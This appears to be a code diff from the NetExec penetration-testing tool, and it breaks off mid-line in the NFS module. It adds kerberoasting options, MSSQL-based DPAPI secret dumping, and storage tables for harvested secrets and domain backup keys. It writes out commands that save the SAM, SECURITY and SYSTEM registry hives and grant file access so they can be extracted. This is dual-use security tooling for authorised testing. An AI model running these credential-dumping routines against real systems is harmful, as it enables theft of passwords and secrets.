dgroup.add_argument("-H", "--hash", metavar="HASH", dest="hash", nargs="+", default=[], help="NTLM hash(es) or file(s) containing NTLM hashes")
|
||||
dgroup.add_argument("--simple-bind", action="store_true", help="Use simple bind authentication (no signing/sealing)")
|
||||
ldap_parser.add_argument("--port", type=int, default=389, action=DefaultTrackingAction, help="LDAP port")
|
||||
ldap_parser.add_argument("--ldap-timeout", type=int, default=3, help="LDAP connection timeout")
|
||||
ldap_parser.add_argument("-d", metavar="DOMAIN", dest="domain", type=str, default=None, help="domain to authenticate to")
|
||||
|
||||
egroup = ldap_parser.add_argument_group("Retrieve hash on the remote DC", "Options to get hashes from Kerberos")
|
||||
egroup.add_argument("--asreproast", help="Output AS_REP response to crack with hashcat to file")
|
||||
kerberoasting_arg = egroup.add_argument("--kerberoasting", "--kerberoast", help="Output TGS ticket to crack with hashcat to file")
|
||||
kerberoast_users_arg = egroup.add_argument("--kerberoast-account", nargs="+", dest="kerberoast_account", action=get_conditional_action(_StoreAction), make_required=[], help="Target specific accounts for kerberoasting (sAMAccountNames or file containing sAMAccountNames)")
|
||||
egroup.add_argument("--no-preauth-targets", nargs=1, dest="no_preauth_targets", help="Targeted kerberoastable users")
|
||||
targeted_kerberoast_arg = egroup.add_argument("--targeted-kerberoast", nargs="+", dest="targeted_kerberoast", action=get_conditional_action(_StoreAction), make_required=[], help="Adds temporary SPN to specified users, requests ST, then remove added SPN. Specify sAMAccountNames or file containing sAMAccountNames")
|
||||
egroup.add_argument("--no-preauth-targets", nargs=1, dest="no_preauth_targets", help="Specify accounts that should be kerberoasted using an account without pre-authentication requirement.")
|
||||
|
||||
# Make kerberoast-users require kerberoasting
|
||||
# Make kerberoast-users and targeted-kerberoast require kerberoasting
|
||||
kerberoast_users_arg.make_required = [kerberoasting_arg]
|
||||
targeted_kerberoast_arg.make_required = [kerberoasting_arg]
|
||||
|
||||
vgroup = ldap_parser.add_argument_group("Retrieve useful information on the domain")
|
||||
vgroup.add_argument("--base-dn", metavar="BASE_DN", dest="base_dn", type=str, default=None, help="base DN for search queries")
|
||||
@@ -29,6 +32,7 @@ def proto_args(parser, parents):
|
||||
vgroup.add_argument("--users", nargs="*", help="Enumerate domain users")
|
||||
vgroup.add_argument("--users-export", help="Enumerate domain users and export them to the specified file")
|
||||
vgroup.add_argument("--groups", nargs="?", const="", help="Enumerate domain groups, if a group is specified than its members are enumerated")
|
||||
vgroup.add_argument("--ous", nargs="?", const="", help="Specify OU name to query all users in that OU or list all OUs")
|
||||
vgroup.add_argument("--computers", action="store_true", help="Enumerate domain computers")
|
||||
vgroup.add_argument("--dc-list", action="store_true", help="Enumerate Domain Controllers")
|
||||
vgroup.add_argument("--get-sid", action="store_true", help="Get domain sid")
|
||||
@@ -41,8 +45,8 @@ def proto_args(parser, parents):
|
||||
ggroup.add_argument("--gmsa-convert-id", help="Get the secret name of specific gmsa or all gmsa if no gmsa provided")
|
||||
ggroup.add_argument("--gmsa-decrypt-lsa", help="Decrypt the gmsa encrypted value from LSA")
|
||||
|
||||
bgroup = ldap_parser.add_argument_group("Bloodhound Scan", "Options to play with Bloodhoud")
|
||||
bgroup.add_argument("--bloodhound", action="store_true", help="Perform a Bloodhound scan")
|
||||
bgroup = ldap_parser.add_argument_group("Bloodhound Scan", "Options to play with Bloodhound")
|
||||
bgroup.add_argument("--bloodhound", action="store_true", help="Perform a Bloodhound scan. Default collector: Bloodhound CE, for legacy support see config file")
|
||||
bgroup.add_argument("-c", "--collection", default="Default", help="Which information to collect. Supported: Group, LocalAdmin, Session, Trusts, Default, DCOnly, DCOM, RDP, PSRemote, LoggedOn, Container, ObjectProps, ACL, ADCS, All. You can specify more than one by separating them with a comma.")
|
||||
|
||||
return parser
|
||||
+111
-54
@@ -1,6 +1,7 @@
|
||||
import os
|
||||
import random
|
||||
import contextlib
|
||||
import binascii
|
||||
from termcolor import colored
|
||||
|
||||
from nxc.config import process_secret, host_info_colors
|
||||
@@ -11,8 +12,11 @@ from nxc.logger import NXCAdapter
|
||||
from nxc.helpers.bloodhound import add_user_bh
|
||||
from nxc.helpers.negotiate_parser import parse_challenge, login7_integrated_auth_error_message
|
||||
from nxc.helpers.powershell import create_ps_command
|
||||
from nxc.helpers.dpapi import DPAPITriage
|
||||
from nxc.protocols.mssql.mssqlexec import MSSQLEXEC
|
||||
|
||||
from dploot.lib.network.mssql import MSSQLTarget as Target
|
||||
|
||||
from impacket import tds, ntlm
|
||||
from impacket.krb5.ccache import CCache
|
||||
from impacket.dcerpc.v5.dtypes import SID
|
||||
@@ -44,6 +48,13 @@ class mssql(connection):
|
||||
self.lmhash = ""
|
||||
self.nthash = ""
|
||||
self.no_ntlm = False
|
||||
self.encryption = None
|
||||
self.edition = ""
|
||||
self.version = ""
|
||||
self.dpapi_system_key = None
|
||||
self.no_da = None
|
||||
|
||||
self._dpapi_triage = None
|
||||
|
||||
connection.__init__(self, args, db, host)
|
||||
|
||||
@@ -96,6 +107,13 @@ class mssql(connection):
|
||||
# If the MSSQL Server responds with a TDS_ENCRYPT_REQ or TDS_ENCRYPT_OFF then we need to setup a TLS context
|
||||
resp = self.conn.preLogin()
|
||||
self.encryption = False
|
||||
|
||||
# Parses the MSSQL version
|
||||
self.edition, self.version = (
|
||||
str(self.conn.mssql_version).split("Server ")[1].split(" (")[0],
|
||||
str(self.conn.mssql_version).rsplit("(", 1)[1].rstrip(")")
|
||||
)
|
||||
|
||||
if resp["Encryption"] == TDS_ENCRYPT_REQ or resp["Encryption"] == TDS_ENCRYPT_OFF:
|
||||
# We switch to a TLS context handled by tds.py
|
||||
self.conn.set_tls_context()
|
||||
@@ -147,7 +165,7 @@ class mssql(connection):
|
||||
self.logger.debug(f"Server does not support NTLM{detail}")
|
||||
self.no_ntlm = True
|
||||
|
||||
self.db.add_host(self.host, self.hostname, self.domain, self.server_os, len(self.mssql_instances))
|
||||
self.db.add_host(self.host, self.hostname, self.domain, self.server_os, self.version, len(self.mssql_instances), self.encryption)
|
||||
|
||||
if self.args.domain:
|
||||
self.domain = self.args.domain
|
||||
@@ -164,7 +182,7 @@ class mssql(connection):
|
||||
def print_host_info(self):
|
||||
encryption = colored(f"EncryptionReq:{self.encryption}", host_info_colors[0 if self.encryption else 1], attrs=["bold"])
|
||||
ntlm = colored(f"(NTLM:{not self.no_ntlm})", host_info_colors[2], attrs=["bold"]) if self.no_ntlm else ""
|
||||
self.logger.display(f"{self.server_os} (name:{self.hostname}) (domain:{self.targetDomain}) ({encryption}) {ntlm}")
|
||||
self.logger.display(f"{self.server_os} ({self.edition} {self.version}) (name:{self.hostname}) (domain:{self.targetDomain}) ({encryption}) {ntlm}")
|
||||
|
||||
@reconnect_mssql
|
||||
def kerberos_login(self, domain, username, password="", ntlm_hash="", aesKey="", kdcHost="", useCache=False):
|
||||
@@ -444,7 +462,7 @@ class mssql(connection):
|
||||
|
||||
# Query known group to determine raw SID & convert to canon
|
||||
raw_domain_sid = self.conn.sql_query(f"SELECT SUSER_SID('{domain}\\Domain Admins')")[0][""]
|
||||
domain_sid = SID(bytes.fromhex(raw_domain_sid.decode())).formatCanonical()[:-4]
|
||||
domain_sid = SID(bytes.fromhex(raw_domain_sid)).formatCanonical()[:-4]
|
||||
except Exception as e:
|
||||
self.logger.fail(f"Error parsing SID. Not domain joined?: {e}")
|
||||
return entries
|
||||
@@ -462,7 +480,7 @@ class mssql(connection):
|
||||
|
||||
for n, item in enumerate(raw_output):
|
||||
username = item[""]
|
||||
if username == "NULL":
|
||||
if username is None:
|
||||
continue
|
||||
rid = so_far + n
|
||||
self.logger.highlight(f"{rid}: {username}")
|
||||
@@ -483,68 +501,65 @@ class mssql(connection):
|
||||
return "[" + str(ident).replace("]", "]]") + "]"
|
||||
|
||||
def list_databases(self):
|
||||
try:
|
||||
q = (
|
||||
"SELECT d.name AS DatabaseName, "
|
||||
" suser_sname(d.owner_sid) AS Owner "
|
||||
"FROM sys.databases d "
|
||||
"ORDER BY d.name;"
|
||||
)
|
||||
rows = self.conn.sql_query(q) or []
|
||||
if not rows:
|
||||
self.logger.display("No databases returned")
|
||||
return
|
||||
query = """
|
||||
SELECT d.name AS DatabaseName, suser_sname(d.owner_sid) AS Owner
|
||||
FROM sys.databases d
|
||||
ORDER BY d.name;
|
||||
"""
|
||||
rows = self.conn.sql_query(query)
|
||||
if self.conn.lastError:
|
||||
self.logger.fail(f"Error running the SQL query: {self.conn.lastError}")
|
||||
if not rows:
|
||||
self.logger.display("No databases returned")
|
||||
return
|
||||
|
||||
self.logger.display("Enumerated databases")
|
||||
self.logger.highlight(f"{'Database Name':<30} {'Owner':<25}")
|
||||
self.logger.highlight(f"{'-' * 30} {'-' * 25}")
|
||||
for r in rows:
|
||||
self.logger.highlight(f"{r.get('DatabaseName', ''):<30} {r.get('Owner', ''):<25}")
|
||||
self.logger.highlight(f"Total: {len(rows)} database(s)")
|
||||
except Exception as e:
|
||||
self.logger.fail(f"Failed to enumerate databases: {e}")
|
||||
self.logger.debug("list_databases error", exc_info=True)
|
||||
self.logger.display("Enumerated databases")
|
||||
self.logger.highlight(f"{'Database Name':<30} {'Owner':<25}")
|
||||
self.logger.highlight(f"{'-' * 30} {'-' * 25}")
|
||||
for row in rows:
|
||||
database_name = row.get("DatabaseName", "")
|
||||
owner = row.get("Owner", "")
|
||||
self.logger.highlight(f"{database_name:<30} {owner:<25}")
|
||||
self.logger.highlight(f"Total: {len(rows)} database(s)")
|
||||
|
||||
def database(self):
|
||||
db_arg = self.args.database
|
||||
|
||||
# nxc --database (no value) -> list
|
||||
if db_arg is True or db_arg is None:
|
||||
if self.args.database is True:
|
||||
self.list_databases()
|
||||
return
|
||||
|
||||
# nxc --database <name> -> tables
|
||||
if isinstance(db_arg, str):
|
||||
try:
|
||||
safe = db_arg.replace("'", "''")
|
||||
exists = self.conn.sql_query(f"SELECT 1 FROM sys.databases WHERE name = N'{safe}';")
|
||||
if not exists:
|
||||
self.logger.fail(f"Database [{db_arg}] does not exist on the server.")
|
||||
return
|
||||
|
||||
tq = (
|
||||
f"SELECT t.name AS TableName, t.modify_date "
|
||||
f"FROM {self._qname(db_arg)}.sys.tables t "
|
||||
f"ORDER BY t.name;"
|
||||
)
|
||||
rows = self.conn.sql_query(tq) or []
|
||||
except Exception as e:
|
||||
self.logger.fail(f"Insufficient permissions or query error in [{db_arg}]: {e}")
|
||||
self.logger.debug("database() error", exc_info=True)
|
||||
if isinstance(self.args.database, str):
|
||||
safe = self.args.database.replace("'", "''")
|
||||
exists = self.conn.sql_query(f"SELECT 1 FROM sys.databases WHERE name = N'{safe}';")
|
||||
if self.conn.lastError:
|
||||
self.logger.fail(f"Error running the SQL query: {self.conn.lastError}")
|
||||
if not exists:
|
||||
self.logger.fail(f"Database [{self.args.database}] does not exist on the server.")
|
||||
return
|
||||
|
||||
query = f"""
|
||||
SELECT t.name AS TableName, t.modify_date
|
||||
FROM {self._qname(self.args.database)}.sys.tables t
|
||||
ORDER BY t.name;
|
||||
"""
|
||||
rows = self.conn.sql_query(query)
|
||||
|
||||
if self.conn.lastError:
|
||||
self.logger.fail(f"Error running the SQL query: {self.conn.lastError}")
|
||||
|
||||
if not rows:
|
||||
self.logger.display(f"Database [{db_arg}] has no user tables.")
|
||||
self.logger.display(f"Database [{self.args.database}] has no user tables.")
|
||||
return
|
||||
|
||||
self.logger.display(f"Tables in database: {db_arg}")
|
||||
self.logger.display(f"Tables in database: {self.args.database}")
|
||||
self.logger.highlight(f"{'Table Name':<50} {'Last Modified':<25}")
|
||||
self.logger.highlight(f"{'-' * 50} {'-' * 25}")
|
||||
for r in rows:
|
||||
mod = r.get("modify_date", "")
|
||||
if mod and hasattr(mod, "strftime"):
|
||||
mod = mod.strftime("%Y-%m-%d %H:%M:%S")
|
||||
self.logger.highlight(f"{r.get('TableName', ''):<50} {mod!s:<25}")
|
||||
for row in rows:
|
||||
modify_date = row.get("modify_date", "")
|
||||
if modify_date and hasattr(modify_date, "strftime"):
|
||||
modify_date = modify_date.strftime("%Y-%m-%d %H:%M:%S")
|
||||
self.logger.highlight(f"{row.get('TableName', ''):<50} {modify_date!s:<25}")
|
||||
self.logger.highlight(f"Total: {len(rows)} table(s)")
|
||||
return
|
||||
|
||||
@@ -554,10 +569,12 @@ class mssql(connection):
|
||||
system_storename = gen_random_string(6)
|
||||
dump_command = f"reg save HKLM\\SAM C:\\windows\\temp\\{sam_storename} && reg save HKLM\\SYSTEM C:\\windows\\temp\\{system_storename}"
|
||||
clean_command = f"del C:\\windows\\temp\\{sam_storename} && del C:\\windows\\temp\\{system_storename}"
|
||||
get_owner_command = f"icacls C:\\windows\\temp\\{sam_storename} /grant {self.username}:F && icacls C:\\windows\\temp\\{system_storename} /grant {self.username}:F"
|
||||
output_filename = self.output_file_template.format(output_folder="sam")
|
||||
try:
|
||||
exec_method = MSSQLEXEC(self.conn, self.logger)
|
||||
exec_method.execute(dump_command)
|
||||
exec_method.execute(get_owner_command)
|
||||
exec_method.get_file(f"C:\\windows\\temp\\{sam_storename}", f"{output_filename}.sam")
|
||||
exec_method.get_file(f"C:\\windows\\temp\\{system_storename}", f"{output_filename}.system")
|
||||
exec_method.execute(clean_command)
|
||||
@@ -582,15 +599,17 @@ class mssql(connection):
|
||||
SAM.export(output_filename)
|
||||
|
||||
@requires_admin
|
||||
def lsa(self):
|
||||
def lsa(self, quiet=False):
|
||||
security_storename = gen_random_string(6)
|
||||
system_storename = gen_random_string(6)
|
||||
dump_command = f"reg save HKLM\\SECURITY C:\\windows\\temp\\{security_storename} && reg save HKLM\\SYSTEM C:\\windows\\temp\\{system_storename}"
|
||||
clean_command = f"del C:\\windows\\temp\\{security_storename} && del C:\\windows\\temp\\{system_storename}"
|
||||
get_owner_command = f"icacls C:\\windows\\temp\\{security_storename} /grant {self.username}:F && icacls C:\\windows\\temp\\{system_storename} /grant {self.username}:F"
|
||||
output_filename = self.output_file_template.format(output_folder="lsa")
|
||||
try:
|
||||
exec_method = MSSQLEXEC(self.conn, self.logger)
|
||||
exec_method.execute(dump_command)
|
||||
exec_method.execute(get_owner_command)
|
||||
exec_method.get_file(f"C:\\windows\\temp\\{security_storename}", f"{output_filename}.security")
|
||||
exec_method.get_file(f"C:\\windows\\temp\\{system_storename}", f"{output_filename}.system")
|
||||
exec_method.execute(clean_command)
|
||||
@@ -602,15 +621,53 @@ class mssql(connection):
|
||||
or not (os.path.exists(f"{output_filename}.system") and os.path.getsize(f"{output_filename}.system") > 0):
|
||||
self.logger.fail("SECURITY or SYSTEM hive could not be dumped, privs may not be sufficient.")
|
||||
return
|
||||
self.logger.display("Dumping LSA secrets")
|
||||
if not quiet:
|
||||
self.logger.display("Dumping LSA secrets")
|
||||
local_operations = LocalOperations(f"{output_filename}.system")
|
||||
boot_key = local_operations.getBootKey()
|
||||
|
||||
def lsa_secret_callback(_, secret):
|
||||
if "dpapi_machinekey" not in secret:
|
||||
if not quiet:
|
||||
self.logger.highlight(secret)
|
||||
else:
|
||||
correl_table = {"dpapi_machinekey": "MachineKey", "dpapi_userkey": "UserKey"}
|
||||
self.dpapi_system_key = {correl_table[k]: binascii.unhexlify(v[2:]) for k, v in (elem.split(":") for elem in secret.splitlines())}
|
||||
if not quiet:
|
||||
self.logger.highlight(f"dpapi_machinekey:{self.dpapi_system_key['MachineKey'].hex()}")
|
||||
self.logger.highlight(f"dpapi_userkey:{self.dpapi_system_key['UserKey'].hex()}")
|
||||
LSA = LSASecrets(
|
||||
f"{output_filename}.security",
|
||||
boot_key,
|
||||
None,
|
||||
isRemote=None,
|
||||
perSecretCallback=lambda secret_type, secret: self.logger.highlight(secret),
|
||||
perSecretCallback=lsa_secret_callback,
|
||||
)
|
||||
LSA.dumpCachedHashes()
|
||||
LSA.dumpSecrets()
|
||||
|
||||
@requires_admin
|
||||
def dpapi(self):
|
||||
self.dpapi_triage.triage_dpapi()
|
||||
|
||||
@property
|
||||
def dpapi_triage(self) -> DPAPITriage:
|
||||
if self._dpapi_triage is not None:
|
||||
return self._dpapi_triage
|
||||
|
||||
target = Target.create(
|
||||
domain=self.domain,
|
||||
username=self.username,
|
||||
password=self.password,
|
||||
address=self.remoteName,
|
||||
port=self.port,
|
||||
hashes=f":{self.nthash}",
|
||||
do_kerberos=self.kerberos,
|
||||
kdcHost=self.kdcHost,
|
||||
use_kcache=self.use_kcache,
|
||||
aesKey=self.aesKey,
|
||||
db_auth=self.args.local_auth,
|
||||
)
|
||||
|
||||
self._dpapi_triage = DPAPITriage(self, target)
|
||||
return self._dpapi_triage
|
||||
@@ -1,6 +1,7 @@
|
||||
import warnings
|
||||
import base64
|
||||
|
||||
from sqlalchemy import Column, ForeignKeyConstraint, Integer, PrimaryKeyConstraint, String, func, select, insert, delete
|
||||
from sqlalchemy import Column, ForeignKeyConstraint, Integer, PrimaryKeyConstraint, UniqueConstraint, String, func, select, insert, delete, Boolean, and_, or_
|
||||
from sqlalchemy.dialects.sqlite import Insert # used for upsert
|
||||
from sqlalchemy.exc import SAWarning
|
||||
from sqlalchemy.orm import declarative_base
|
||||
@@ -19,6 +20,8 @@ class database(BaseDB):
|
||||
self.HostsTable = None
|
||||
self.UsersTable = None
|
||||
self.AdminRelationsTable = None
|
||||
self.DpapiBackupkeyTable = None
|
||||
self.DpapiSecretsTable = None
|
||||
|
||||
super().__init__(db_engine)
|
||||
|
||||
@@ -29,7 +32,9 @@ class database(BaseDB):
|
||||
hostname = Column(String)
|
||||
domain = Column(String)
|
||||
os = Column(String)
|
||||
mssqlversion = Column(String)
|
||||
instances = Column(Integer)
|
||||
encryptionReq = Column(Boolean)
|
||||
|
||||
__table_args__ = (
|
||||
PrimaryKeyConstraint("id"),
|
||||
@@ -73,6 +78,32 @@ class database(BaseDB):
|
||||
ForeignKeyConstraint(["hostid"], ["hosts.id"]),
|
||||
)
|
||||
|
||||
class DpapiSecret(Base):
|
||||
__tablename__ = "dpapi_secrets"
|
||||
id = Column(Integer)
|
||||
host = Column(String)
|
||||
dpapi_type = Column(String)
|
||||
windows_user = Column(String)
|
||||
username = Column(String)
|
||||
password = Column(String)
|
||||
url = Column(String)
|
||||
|
||||
__table_args__ = (
|
||||
PrimaryKeyConstraint("id"),
|
||||
UniqueConstraint("host", "dpapi_type", "windows_user", "username", "password", "url"),
|
||||
)
|
||||
|
||||
class DpapiBackupKey(Base):
|
||||
__tablename__ = "dpapi_backupkey"
|
||||
id = Column(Integer)
|
||||
domain = Column(String)
|
||||
pvk = Column(String)
|
||||
|
||||
__table_args__ = (
|
||||
PrimaryKeyConstraint("id"),
|
||||
UniqueConstraint("domain"),
|
||||
)
|
||||
|
||||
@staticmethod
|
||||
def db_schema(db_conn):
|
||||
Base.metadata.create_all(db_conn)
|
||||
@@ -82,13 +113,15 @@ class database(BaseDB):
|
||||
self.UsersTable = self.reflect_table(self.User)
|
||||
self.AdminRelationsTable = self.reflect_table(self.AdminRelation)
|
||||
self.LoggedinRelationsTable = self.reflect_table(self.LoggedInRelation)
|
||||
self.DpapiSecretsTable = self.reflect_table(self.DpapiSecret)
|
||||
self.DpapiBackupkeyTable = self.reflect_table(self.DpapiBackupKey)
|
||||
|
||||
def add_host(self, ip, hostname, domain, os, instances):
|
||||
def add_host(self, ip, hostname, domain, os, mssqlversion, instances, encryptionReq):
|
||||
"""
|
||||
Check if this host has already been added to the database, if not, add it in.
|
||||
TODO: return inserted or updated row ids as a list
|
||||
"""
|
||||
nxc_logger.debug(f"{domain} {ip} {os} {instances}")
|
||||
nxc_logger.debug(f"{domain} {ip} {os} {mssqlversion} {instances} {encryptionReq}")
|
||||
if not domain:
|
||||
domain = ""
|
||||
hosts = []
|
||||
@@ -102,7 +135,9 @@ class database(BaseDB):
|
||||
"hostname": hostname,
|
||||
"domain": domain,
|
||||
"os": os,
|
||||
"mssqlversion": mssqlversion,
|
||||
"instances": instances,
|
||||
"encryptionReq": encryptionReq
|
||||
}
|
||||
|
||||
if not results:
|
||||
@@ -118,8 +153,12 @@ class database(BaseDB):
|
||||
host_data["domain"] = domain
|
||||
if os is not None:
|
||||
host_data["os"] = os
|
||||
if mssqlversion is not None:
|
||||
host_data["mssqlversion"] = mssqlversion
|
||||
if instances is not None:
|
||||
host_data["instances"] = instances
|
||||
if encryptionReq is not None:
|
||||
host_data["encryptionReq"] = encryptionReq
|
||||
if host_data not in hosts:
|
||||
hosts.append(host_data)
|
||||
|
||||
@@ -271,6 +310,20 @@ class database(BaseDB):
|
||||
|
||||
return self.db_execute(q).all()
|
||||
|
||||
def get_credentials_for_users(self, usernames: list[str], cred_type: str | None = None):
|
||||
"""Return credentials for a list of users from the database."""
|
||||
if cred_type:
|
||||
q = select(self.UsersTable).filter(
|
||||
self.UsersTable.c.credtype == cred_type,
|
||||
and_(or_(*[self.UsersTable.c.username.like(f"%{name.lower()}%") for name in usernames]))
|
||||
)
|
||||
else:
|
||||
q = select(self.UsersTable).filter(
|
||||
or_(*[self.UsersTable.c.username.like(f"%{name.lower()}%") for name in usernames])
|
||||
)
|
||||
|
||||
return self.db_execute(q).all()
|
||||
|
||||
def get_credential(self, cred_type, domain, username, password):
|
||||
q = select(self.UsersTable).filter(
|
||||
self.UsersTable.c.domain == domain,
|
||||
@@ -345,3 +398,113 @@ class database(BaseDB):
|
||||
elif host_id:
|
||||
q = q.filter(self.LoggedinRelationsTable.c.hostid == host_id)
|
||||
self.db_execute(q)
|
||||
|
||||
def add_domain_backupkey(self, domain: str, pvk: bytes):
|
||||
"""
|
||||
Add domain backupkey
|
||||
:domain is the domain fqdn
|
||||
:pvk is the domain backupkey
|
||||
"""
|
||||
q = select(self.DpapiBackupkeyTable).filter(func.lower(self.DpapiBackupkeyTable.c.domain) == func.lower(domain))
|
||||
results = self.db_execute(q).all()
|
||||
|
||||
if not len(results):
|
||||
pvk_encoded = base64.b64encode(pvk)
|
||||
backup_key = {"domain": domain, "pvk": pvk_encoded}
|
||||
try:
|
||||
# TODO: find a way to abstract this away to a single Upsert call
|
||||
q = Insert(self.DpapiBackupkeyTable) # .returning(self.DpapiBackupkeyTable.c.id)
|
||||
|
||||
self.db_execute(q, [backup_key]) # .scalar()
|
||||
nxc_logger.debug(f"add_domain_backupkey(domain={domain}, pvk={pvk_encoded})")
|
||||
except Exception as e:
|
||||
nxc_logger.debug(f"Issue while inserting DPAPI Backup Key: {e}")
|
||||
|
||||
def get_domain_backupkey(self, domain: str | None = None):
|
||||
"""
|
||||
Get domain backupkey
|
||||
:domain is the domain fqdn
|
||||
"""
|
||||
q = select(self.DpapiBackupkeyTable)
|
||||
if domain is not None:
|
||||
q = q.filter(func.lower(self.DpapiBackupkeyTable.c.domain) == func.lower(domain))
|
||||
results = self.db_execute(q).all()
|
||||
|
||||
nxc_logger.debug(f"get_domain_backupkey(domain={domain}) => {results}")
|
||||
|
||||
if len(results) > 0:
|
||||
results = [(id_key, domain, base64.b64decode(pvk)) for id_key, domain, pvk in results]
|
||||
return results
|
||||
|
||||
def is_dpapi_secret_valid(self, dpapi_secret_id):
|
||||
"""
|
||||
Check if this DPAPI secret ID is valid.
|
||||
:dpapi_secret_id is a primary id
|
||||
"""
|
||||
q = select(self.DpapiSecretsTable).filter(func.lower(self.DpapiSecretsTable.c.id) == dpapi_secret_id)
|
||||
results = self.db_execute(q).first()
|
||||
valid = results is not None
|
||||
nxc_logger.debug(f"is_dpapi_secret_valid(dpapi_secret_id={dpapi_secret_id}) => {valid}")
|
||||
return valid
|
||||
|
||||
def add_dpapi_secrets(
|
||||
self,
|
||||
host: str,
|
||||
dpapi_type: str,
|
||||
windows_user: str,
|
||||
username: str,
|
||||
password: str,
|
||||
url: str = "",
|
||||
):
|
||||
"""Add dpapi secrets to nxcdb"""
|
||||
secret = {
|
||||
"host": host,
|
||||
"dpapi_type": dpapi_type,
|
||||
"windows_user": windows_user,
|
||||
"username": username,
|
||||
"password": password,
|
||||
"url": url,
|
||||
}
|
||||
q = Insert(self.DpapiSecretsTable).on_conflict_do_nothing() # .returning(self.DpapiSecretsTable.c.id)
|
||||
|
||||
self.db_execute(q, [secret]) # .scalar()
|
||||
|
||||
nxc_logger.debug(
|
||||
f"add_dpapi_secrets(host={host}, dpapi_type={dpapi_type}, windows_user={windows_user}, username={username}, password={password}, url={url})")
|
||||
|
||||
def get_dpapi_secrets(
|
||||
self,
|
||||
filter_term=None,
|
||||
host: str | None = None,
|
||||
dpapi_type: str | None = None,
|
||||
windows_user: str | None = None,
|
||||
username: str | None = None,
|
||||
url: str | None = None,
|
||||
):
|
||||
"""Get dpapi secrets from nxcdb"""
|
||||
q = select(self.DpapiSecretsTable)
|
||||
|
||||
if self.is_dpapi_secret_valid(filter_term):
|
||||
q = q.filter(self.DpapiSecretsTable.c.id == filter_term)
|
||||
results = self.db_execute(q).first()
|
||||
# all() returns a list, so we keep the return format the same so consumers don't have to guess
|
||||
return [results]
|
||||
elif host:
|
||||
q = q.filter(self.DpapiSecretsTable.c.host == host)
|
||||
results = self.db_execute(q).first()
|
||||
# all() returns a list, so we keep the return format the same so consumers don't have to guess
|
||||
return [results]
|
||||
elif dpapi_type:
|
||||
q = q.filter(func.lower(self.DpapiSecretsTable.c.dpapi_type) == func.lower(dpapi_type))
|
||||
elif windows_user:
|
||||
like_term = func.lower(f"%{windows_user}%")
|
||||
q = q.filter(func.lower(self.DpapiSecretsTable.c.windows_user).like(like_term))
|
||||
elif username:
|
||||
like_term = func.lower(f"%{username}%")
|
||||
q = q.filter(func.lower(self.DpapiSecretsTable.c.windows_user).like(like_term))
|
||||
elif url:
|
||||
q = q.filter(func.lower(self.DpapiSecretsTable.c.url) == func.lower(url))
|
||||
results = self.db_execute(q).all()
|
||||
|
||||
nxc_logger.debug(f"get_dpapi_secrets(filter_term={filter_term}, host={host}, dpapi_type={dpapi_type}, windows_user={windows_user}, username={username}, url={url}) => {results}")
|
||||
return results
|
||||
@@ -21,7 +21,7 @@ class navigator(DatabaseNavigator):
|
||||
print_table(data, title="Credentials")
|
||||
|
||||
def display_hosts(self, hosts):
|
||||
data = [["HostID", "Admins", "IP", "Hostname", "Domain", "OS", "DB Instances"]]
|
||||
data = [["HostID", "Admins", "IP", "Hostname", "Domain", "OS", "MSSQL Version", "DB Instances", "EncryptionReq"]]
|
||||
for host in hosts:
|
||||
links = self.db.get_admin_relations(host_id=host[0])
|
||||
data.append(
|
||||
@@ -33,6 +33,8 @@ class navigator(DatabaseNavigator):
|
||||
host[3],
|
||||
host[4],
|
||||
host[5],
|
||||
host[6],
|
||||
host[7]
|
||||
]
|
||||
)
|
||||
print_table(data, title="Hosts")
|
||||
@@ -49,12 +51,12 @@ class navigator(DatabaseNavigator):
|
||||
if len(hosts) > 1:
|
||||
self.display_hosts(hosts)
|
||||
elif len(hosts) == 1:
|
||||
data = [["HostID", "IP", "Hostname", "Domain", "OS"]]
|
||||
data = [["HostID", "IP", "Hostname", "Domain", "OS", "MSSQL Version", "DB Instances", "EncryptionReq"]]
|
||||
host_id_list = []
|
||||
|
||||
for host in hosts:
|
||||
host_id_list.append(host[0])
|
||||
data.append([host[0], host[1], host[2], host[3], host[4]])
|
||||
data.append([host[0], host[1], host[2], host[3], host[4], host[5], host[6], host[7]])
|
||||
|
||||
print_table(data, title="Host(s)")
|
||||
|
||||
|
||||
@@ -21,7 +21,7 @@ class MSSQLEXEC:
|
||||
raw = self.mssql_conn.sql_query(cmd)
|
||||
self.logger.debug(f"Raw results from query: {raw}")
|
||||
if raw:
|
||||
result = "\n".join(line["output"] for line in raw if line["output"] != "NULL")
|
||||
result = "\n".join(line["output"] for line in raw if line["output"] is not None)
|
||||
self.logger.debug(f"Concatenated result together for easier parsing: {result}")
|
||||
# if you prepend SilentlyContinue it will still output the error, but it will still continue on (so it's not silent...)
|
||||
if "Preparing modules for first use" in result and "Completed" not in result:
|
||||
|
||||
@@ -16,6 +16,9 @@ def proto_args(parser, parents):
|
||||
cgroup = mssql_parser.add_argument_group("Credential Gathering")
|
||||
cgroup.add_argument("--sam", action="store_true", help="dump SAM hashes from target systems")
|
||||
cgroup.add_argument("--lsa", action="store_true", help="dump LSA secrets from target systems")
|
||||
cgroup.add_argument("--dpapi", choices={"cookies", "nosystem"}, nargs="*", help="dump DPAPI secrets from target systems, can dump cookies if you add 'cookies', will not dump SYSTEM dpapi if you add nosystem")
|
||||
cgroup.add_argument("--mkfile", action="store", help="DPAPI option. File with masterkeys in form of {GUID}:SHA1")
|
||||
cgroup.add_argument("--pvk", action="store", help="DPAPI option. File with domain backupkey")
|
||||
|
||||
cgroup = mssql_parser.add_argument_group("Command Execution")
|
||||
cgroup.add_argument("--no-output", action="store_true", help="do not retrieve command output")
|
||||
|
||||
+169
-14
@@ -1,3 +1,5 @@
|
||||
from io import BytesIO
|
||||
|
||||
from termcolor import colored
|
||||
from nxc.connection import connection
|
||||
from nxc.logger import NXCAdapter
|
||||
@@ -130,18 +132,24 @@ class nfs(connection):
|
||||
if program["program"] == NFS_PROGRAM:
|
||||
self.nfs_versions.add(program["version"])
|
||||
except Exception as e:
|
||||
self.logger.debug(f"Error checking NFS version: {self.host} {e}")
|
||||
self.logger.fail(f"Error checking NFS version: {self.host} {e}")
|
||||
|
||||
# Connect to NFS
|
||||
nfs_port = self.portmap.getport(NFS_PROGRAM, NFS_V3)
|
||||
self.nfs3 = NFSv3(self.host, nfs_port, self.args.nfs_timeout, self.auth)
|
||||
self.nfs3.connect()
|
||||
# Check if root escape is possible
|
||||
if NFS_V3 in self.nfs_versions:
|
||||
self.root_escape = self.try_root_escape()
|
||||
else:
|
||||
self.logger.debug("NFSv3 not supported, skipping root escape check")
|
||||
self.nfs3.disconnect()
|
||||
try:
|
||||
nfs_port = self.portmap.getport(NFS_PROGRAM, NFS_V3)
|
||||
